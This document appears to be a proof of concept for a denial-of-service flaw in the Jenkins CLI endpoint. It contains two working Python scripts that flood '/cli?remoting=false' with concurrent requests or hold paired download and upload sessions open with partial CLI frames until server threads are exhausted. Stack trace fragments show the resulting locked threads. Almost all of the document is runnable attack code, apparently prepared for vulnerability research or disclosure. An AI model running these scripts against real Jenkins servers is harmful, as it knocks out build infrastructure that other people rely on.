1
#!/usr/bin/env python3
2
import requests
3
import uuid
4
import concurrent.futures
5
import sys
6

7
def create_download(jenkins_url, session_id, session):
8
    headers = {'Session': session_id, 'Side': 'download'}
9
    try:
10
        response = session.post(
11
            f"{jenkins_url}/cli?remoting=false",
12
            headers=headers,
13
            data=b'',
14
            timeout=20
15
        )
16
        return response.status_code
17
    except requests.exceptions.Timeout:
18
        return 'TIMEOUT'
19
    except Exception:
20
        return 'ERROR'
21

22
def main(jenkins_url, num_sessions):
23
    session = requests.Session()
24
    adapter = requests.adapters.HTTPAdapter(
25
        max_retries=0,
26
        pool_connections=200,
27
        pool_maxsize=200
28
    )
29
    session.mount('http://', adapter)
30
    session.mount('https://', adapter)
31

32
    with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
33
        futures = []
34

35
        for i in range(num_sessions):
36
            session_id = str(uuid.uuid4())
37
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
38
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
39

40
        timeouts = 0
41
        for future in concurrent.futures.as_completed(futures):
42
            if future.result() == 'TIMEOUT':
43
                timeouts += 1
44

45
    print(f"Timeouts: {timeouts}/{num_sessions*2}")
46

47
if __name__ == "__main__":
48
    jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
49
    num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
50
    main(jenkins_url, num_sessions)

1
#!/usr/bin/env python3
2
import socket
3
import struct
4
import uuid
5
import time
6
import threading
7
import sys
8

9
JENKINS_HOST = "localhost"
10
JENKINS_PORT = 8081
11

12
OP_ARG = 0
13
OP_LOCALE = 1
14
OP_ENCODING = 2
15

16
def send_cli_frame(sock, opcode, data=b""):
17
    if isinstance(data, str):
18
        data = data.encode('utf-8')
19
    length = len(data)
20
    frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
21
    sock.sendall(frame)
22

23
def establish_download(session_id, duration=30):
24
    try:
25
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
26
        sock.connect((JENKINS_HOST, JENKINS_PORT))
27
        request = f"""POST /cli?remoting=false HTTP/1.1\r
28
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
29
Session: {session_id}\r
30
Side: download\r
31
Content-Length: 0\r
32
Connection: keep-alive\r
33
\r
34
"""
35
        sock.sendall(request.encode())
36
        response = b""
37
        while b"\r\n\r\n" not in response:
38
            chunk = sock.recv(1)
39
            if not chunk:
40
                return False
41
            response += chunk
42
        sock.recv(1)
43
        time.sleep(duration)
44
        sock.close()
45
        return True
46
    except Exception:
47
        return False
48

49
def establish_upload_without_start(session_id, duration=30):
50
    try:
51
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
52
        sock.connect((JENKINS_HOST, JENKINS_PORT))
53
        request = f"""POST /cli?remoting=false HTTP/1.1\r
54
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
55
Session: {session_id}\r
56
Side: upload\r
57
Transfer-Encoding: chunked\r
58
Connection: keep-alive\r
59
\r
60
"""
61
        sock.sendall(request.encode())
62
        response = b""
63
        while b"\r\n\r\n" not in response:
64
            chunk = sock.recv(1)
65
            if not chunk:
66
                return False
67
            response += chunk
68
        send_cli_frame(sock, OP_ARG, "help")
69
        time.sleep(0.05)
70
        send_cli_frame(sock, OP_LOCALE, "en_US")
71
        time.sleep(0.05)
72
        send_cli_frame(sock, OP_ENCODING, "UTF-8")
73
        time.sleep(duration)
74
        sock.close()
75
        return True
76
    except Exception:
77
        return False
78

79
def create_abandoned_session(session_id, duration=30):
80
    download_thread = threading.Thread(
81
        target=establish_download,
82
        args=(session_id, duration),
83
        daemon=True
84
    )
85
    download_thread.start()
86
    time.sleep(0.3)
87
    upload_thread = threading.Thread(
88
        target=establish_upload_without_start,
89
        args=(session_id, duration),
90
        daemon=True
91
    )
92
    upload_thread.start()
93
    return download_thread, upload_thread
94

95
def main(num_sessions):
96
    threads = []
97
    for i in range(num_sessions):
98
        session_id = str(uuid.uuid4())
99
        download_t, upload_t = create_abandoned_session(session_id, duration=60)
100
        threads.extend([download_t, upload_t])
101
        time.sleep(0.1)
102

103
    for t in threads:
104
        t.join()
105

106
    print(f"Created {num_sessions} sessions")
107

108
if __name__ == "__main__":
109
    num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
110
    main(num_sessions)

1
at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
2
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
3
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)
4

5
at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
6
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
7
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)